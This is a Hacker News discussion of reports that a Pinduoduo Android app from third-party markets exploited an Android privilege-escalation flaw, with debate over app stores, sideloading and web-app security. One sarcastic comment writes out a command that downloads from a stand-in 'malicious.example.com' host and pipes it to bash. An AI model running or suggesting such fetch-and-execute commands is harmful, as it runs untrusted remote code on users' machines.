10 ms·
Android app from China executed 0-day exploit on millions of devices
- hospitalJail 4y agoMaybe because I'm from a different era, but installing anything on a device from a website is an extremely risky game. There is a reason we moved toward using a web browser to do functionality that was typically done on desktop. I'm not one to worship Google's walled garden(which is just marketing jargon), but at least that has some layer of verification and malware detection. I still dream of a web app based future. Then we only need to security proof 1 app.
- rhn_mk1 4y agoThat's like saying "in a native-based future we only need to security proof the OS". There's no free lunch, you always need to check both the sandbox layer and the application.
- jeswin 4y agoBrowsers have a truly remarkable track record when it comes to security. We have been able to run untrusted code for nearly two decades now without a large scale breach.
- mavhc 4y agoEven since they banned plugins
- rhn_mk1 4y agoThat's because browsers don't do all that much compared to an operating system (although they are catching up). On the other side, since Windows XP, security of the OS's has been steadily improving as well. What breaches do you mean anyway? Once you push broad access to user data and hardware to browsers, you'll get ransomware there, too. Meanwhile, native sandboxing keeps advancing. So no, web will not remain the safer option forever.
- deleted 4y ago[deleted]
- hulitu 4y ago> We have been able to run untrusted code for nearly two decades now without a large scale breach None that we know of. Keep in mind that not so long ago the browser did not have access to filesystem except to save files. Now the browsers have access to filesystem, camera, microfone, they can act as servers, they have access to USB devices. I mean WTF. What kind of security is that ?
- 2OEH8eoCRo0 4y agohttps://www.bleepingcomputer.com/news/security/android-malware-apps-with-2-million-installs-spotted-on-google-play/ https://www.bleepingcomputer.com/news/security/android-malwa... > A new set of Android malware, phishing, and adware apps have infiltrated the Google Play store, tricking over two million people into installing them. https://lifehacker.com/great-now-the-apple-app-store-has-malware-too-1849386738 https://lifehacker.com/great-now-the-apple-app-store-has-mal... > Security researchers found malware in several popular App Store apps.
- kccqzy 4y agoGP said it has some layer of protection of malware, not that it has 100% protection. And yes in my own experience Google Play Protect has successfully caught malware. The goal is to provide some better-than-zero protection.
- 2OEH8eoCRo0 4y agoBut is it better than going to the developer website that uses SSL and downloading directly? A consolidated app store is a single point of failure after all. Hard to say it's actually better. There's also no need to bundle the malware scanner with the app store since all it does is scan your device. You can have a malware scanner without an app store.
- tomComb 4y agoI don’t think he was suggesting that walled garden is perfect in this regard, but that it is much safer than bypassing it, so instances such as you list don’t really refute his point (assuming that was your intention).
- hulitu 4y ago> Maybe because I'm from a different era, but installing anything on a device from a website is an extremely risky game You are (just like me) from a different era. /s I was trying to compile rust (for mozilla) and i was shocked to see that it connects to the internet during the build process to download crates (i presume these are some kind of libraries). Then you have js with npm and the menu is served. Even if the web browser has a container, this can be compromised during the build process.
- 2h 4y ago> I was trying to compile rust why would you try to compile Rust? You can just download it already built. > i was shocked to see that it connects to the internet during the build process to download crates how else is it supposed to get that software? unless you want to manually download 100 crates and put them into the correct folders, this is a normal process.
- jeroenhd 4y agoWith the capabilities web apps have gathered over the years, I don't feel very comfortable with using random web apps either. As an added downside, random blog posts and ad iframes can now try to access the same APIs real web apps can. The more we move to a web app based reality, the more we're going to see exploitation of browsers and their many features. We'll never get our one security proof app because security proof apps can't do things like rendering and file manipulation at acceptable speeds. Downloading apps from websites is almost always a red flag in my opinion. If an app can't be in Google's app store for whatever reason, it surely can appear in another. The only APKs I've downloaded come from Github/Gitlab because open source apps aren't always on F-Droid, and APKmirror because my phone is rooted, and I consider myself to be a power user. I'm really surprised an app like this is popular enough to get downloaded installs at all, though perhaps the Chinese app ecosystem is different enough that I simply can't understand. I'd hate to have to resort to web apps for absolutely everything on my phone. Messengers and such need optimisations for battery usage and resources and browsers don't offer any of that. The overhead of web applications is also quite significant. Don't get me wrong, I use several web apps for small things like weather sites and a simole game here or there, but there has to be room for both or the mobile experience will get worse for everyone. therefore I can't download Netflix from Google Play for some absolutely idiotic reason even though the stupid app works perfectly afterwards. They just hate me for wanting to sync my clipboard automatically, I'm guessing.
- blendergeek 4y ago> I'm really surprised an app like this is popular enough to get downloaded installs at all, though perhaps the Chinese app ecosystem is different enough that I simply can't understand. From the article: > The malicious versions of the Pinduoduo app were available in third-party markets, which users in China and elsewhere rely on because the official Google Play market is off-limits or not easy to access.
- kelnos 4y ago> The more we move to a web app based reality, the more we're going to see exploitation of browsers and their many features. True, but as the GP pointed out, we only have to secure one app, and fixing a security issue in it saves you from anyone exploiting that flaw in any other app. Sure, you can make the same argument of an OS-level flaw, but that leaves people with older devices out in the cold, as they often don't receive OS updates anymore. The browser is just an app, and as long as it supports the OS running on the older devices, you get those updates years after your device vendor stopped supporting you. We're never going to solve all security issues (at least not until "perfect" AI starts writing our software), but I'd much rather run apps in a a browser than on the device directly, even with Android/iOS's app sandboxing tech.
- SoftTalker 4y ago> installing anything on a device from a website is an extremely risky game curl https://malicious.example.com/useful_thing https://malicious.example.com/useful_thing | bash and its variants?
- kelnos 4y agoWhich era is that, though? There was a decently-long stretch of time between shrink-wrap software being common (I think my last boxed software purchase was probably in the late 90s), and the advent of the App Store (2008). During that time, downloading things from a website was the primary method of installing software. Also, it's not like people were installing this app from a random sketchy website; it appears to have been available on third-party Android app stores, which are the only option in China, since the Google Play Store isn't allowed there. > I still dream of a web app based future. Right there with you, but sadly, I don't think it's a realistic hope.
- deleted 4y ago[deleted]
- sct202 4y agoTemu (Pinduoduo's American app) appears to be unaffected and is still #1 on the app store and even has an "Editors Choice" badge, but with their parent company risking reputational harm on their main app I would be cautious.
- pavon 4y agoGoogle should block all of their app signing keys, and only allow new ones when PDD can explain how malicious software was signed with the previous ones.
- fulafel 4y agoThe EvilParcel saga seems quite tragic. You would think after the first few repeats they would have taken some stronger measures than patch up the new API misuse case of the day.
- asplake 4y agoOr: Why app stores are a thing
- cubefox 4y agoApp stores extract absurd amount of money (30%) from the app ecosystem. This is not worth the slight increase in security.
- rfoo 4y agoPrevious discussion: https://news.ycombinator.com/item?id=35269347 https://news.ycombinator.com/item?id=35269347
- prox 4y agoAnyone from China or informed enough can chip in how secure the marketplace is? How often does this happen? I had my own problems with a Chinese developed app I needed to add some content for a client.
- jonatron 4y agoI was wondering why PinDuoDuo were hiring for "Android Reverse Engineer". Screenshot of translated job page: https://github.com/jonatron/randomstuff/blob/main/Screenshot%20from%202023-03-28%2018-07-36.png https://github.com/jonatron/randomstuff/blob/main/Screenshot... Edit: Replaced imgur link
- cubefox 4y ago(Off topic, but does someone know a good alternative to imgur? The website currently autoplays unrelated videos, freezes my mobile browser for several seconds, and appears to hijack the back button. It feels like malware.)
- robgibbons 4y agoI just had to close the tab myself.
- Workaccount2 4y agoIt's too much of a hassle with NoScript too. At least 12 domains trying to run js and allowing just imgur still doesn't load the image. Ridiculous that you even need js to view an image anyway.
- nouryqt 4y agoOn a laptop/PC you could give the rimgo[0] frontend a try for simple viewing, no uploading or interacting. It's by no means perfect but works really well in addition with the LibRedirect[1] browser extension. Rimgo is basically a frontend for imgur that you can selfhost (or use a public instance). The LibRedirect browser extension automatically replaces the imgur.com URL with the specified rimgo instance. So for example https://imgur.com/gallery/eMKxD6t https://imgur.com/gallery/eMKxD6t turns into https://rimgo.pussthecat.org/gallery/eMKxD6t https://rimgo.pussthecat.org/gallery/eMKxD6t. [0] https://codeberg.org/elttil/rimgo https://codeberg.org/elttil/rimgo [1] https://github.com/libredirect/libredirect https://github.com/libredirect/libredirect
- 4y ago
- eekfuh 4y agoNot to be pedantic but it’s not a 0-day when the patch for the vuln was released before exploit was executed.
- jgalt212 4y agoYou're right I think it was a 14-day. > Google patched in updates that became available to end users two weeks ago.
- jcul 4y agoThough it says it was exploited before Google's disclosure (not sure if disclosure is referring to the timing of the patch, but the linked Google post is from 6th March). > This privilege-escalation flaw, which was exploited prior to Google’s disclosure
- OneLeggedCat 4y agoMany Android devices are still not available to be updated. For example, Verizon Pixel 6 users did not receive this patch until yesterday.
- pavon 4y agoFrom the article: > Lookout’s forensic analysis of two Pinduoduo APK app samples released prior to March 5 ... has determined that both contain malicious code that exploits CVE-2023-20963, the Android privilege-escalation vulnerability that wouldn’t become public until March 6 and wouldn’t be patched in user devices for up to two weeks later.
- smm11 4y agoTiktok, tick, tick, tick.
- superb-owl 4y agoAs much as I hate the monopolistic nature of the app stores, this is why they're a good thing.
- akira2501 4y agoI have a computer in my pocket that I don't fully control, own, or operate. The actual monopoly they enjoy or the remote control of my devices aren't the real solutions to this problem.
- kernal 4y agoThese fake apps were signed with the signing key of the official PinDuoDuo app. Until PinDuoDuo can explain how this signing key was "stolen" they are to blame for creating this malware.
- HeavenFox 4y agoChinese apps, even those from big established players, are often indistinguishable from malware. Off the top of my head, I can think of: - Hiding their app icon from launcher, but add a widget that looks the same. So if the user tries to uninstall the app, they just deleted the widget and the app remains. - One app would install other apps from the same company in the background without user consent. - Multiple apps will wake each other so they always stay in the background and become impossible to kill - Requesting every permission under the sun and transmit as much info to the mothership as possible - Secretly turning on the camera and film their users However, these only happen on Android version. iOS version never have these issues. So even though I am not a fan of the Apple monopoly, I am really really afraid that by allowing third party app stores and sideloading, the western apps will race to the bottom and become just like this. ("But you can always download from the official App Store!" you may say. But what if, say, Tik Tok announces they will from now on leave the App Store and available only via direct download?)
- otterley 4y ago> iOS version never have these issues The security argument for the App Store has never been stronger. > "But you can always download from the official App Store!" you may say. But what if, say, Tik Tok announces they will from now on leave the App Store and available only via direct download? ... and nothing of value was lost.
- kelnos 4y ago> The security argument for the App Store has never been stronger. Perhaps, for many users this is true. But I don't need or want a nanny-company telling me what I can and can't install on my devices. (And yes, I do sideload apps -- including one I've written myself -- on my Android phone. So this isn't a theoretical "don't take my freedom" type concern.) >> But what if, say, Tik Tok announces they will from now on leave the App Store and available only via direct download? > ... and nothing of value was lost. Couldn't agree more with that sentiment. The problem is, though, that many people will still download it from TikTok's own website or app store. Security is a collective problem: even if I manage to avoid malware, a friend or colleague -- who may have email or chat or whatever history with me -- could get hacked, and that would still leak some of my data.
- RobotToaster 4y agoIt's interesting how the headline writer chose to include "from China". If the developer had been French of American, would they have included "from France", or "From America"?
- tyrfing 4y agoIt's a company with 750M MAU, so very large but still not something most US readers would be aware of. If it was a French or US developer, they would have just used the name of it.
- PakG1 4y agoFrom the article: The malicious versions of the Pinduoduo app were available in third-party markets, which users in China and elsewhere rely on because the official Google Play market is off-limits or not easy to access. No malicious versions were found in Play or Apple’s App Store. Last Monday, TechCrunch reported that Pinduoduo was pulled from Play after Google discovered a malicious version of the app available elsewhere. TechCrunch reported the malicious apps available in third-party markets exploited several zero-days, vulnerabilities that are known or exploited before a vendor has a patch available. As far as I know, China is the only country that has 3rd-party Android app markets of that size because Google Play is literally not allowed there. So I don't think this would be a significant story anywhere else in the world.
- yorwba 4y agoPrevious submission on the same topic: https://news.ycombinator.com/item?id=35269347 https://news.ycombinator.com/item?id=35269347 (krebsonsecurity, 38 comments)
- deleted 4y ago[deleted]
- screamingninja 4y agoFrom en.pinduoduo.com: > Pinduoduo's core value is "本分" (Ben Fen). It is difficult to express it perfectly in English, but it essentially means to adhere firmly to one's own duties and principles. There are several layers of meaning here: > Be honest and trustworthy; > Discharge our own duties and responsibilities regardless of others' conduct; > Never take advantage of others even when we are in a position to do so; > Self-reflect and take responsibilities when problems arise instead of blaming others. I guess the company's app developers never got the memo.
- deleted 4y ago[deleted]
- alisonatwork 4y agoThis is a refreshingly honest core value. To me, 本分 is better translated as "know your place". I.e. don't be ambitious, don't step out of line and always do exactly what the boss tells you to do, never a stroke more.
- lalopalota 4y ago> Discharge our own duties and responsibilities regardless of others' conduct; Looks like they nailed that one.
- textread 4y agoI posted about it 3 weeks earlier here:- https://news.ycombinator.com/item?id=35093327 https://news.ycombinator.com/item?id=35093327 > The source[0] has a more clear description about what is being currently exploited: In the end, the Internet vendor used the above-mentioned series of concealed hacking techniques to achieve: Concealed installation, increase installed capacity Counterfeit boost DAU/MAU Users cannot uninstall Attacking Competitor Apps Steal user privacy data Evasion of privacy compliance regulations and other suspected illegal purposes. [0] https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw
- flutterdev 4y ago[dead]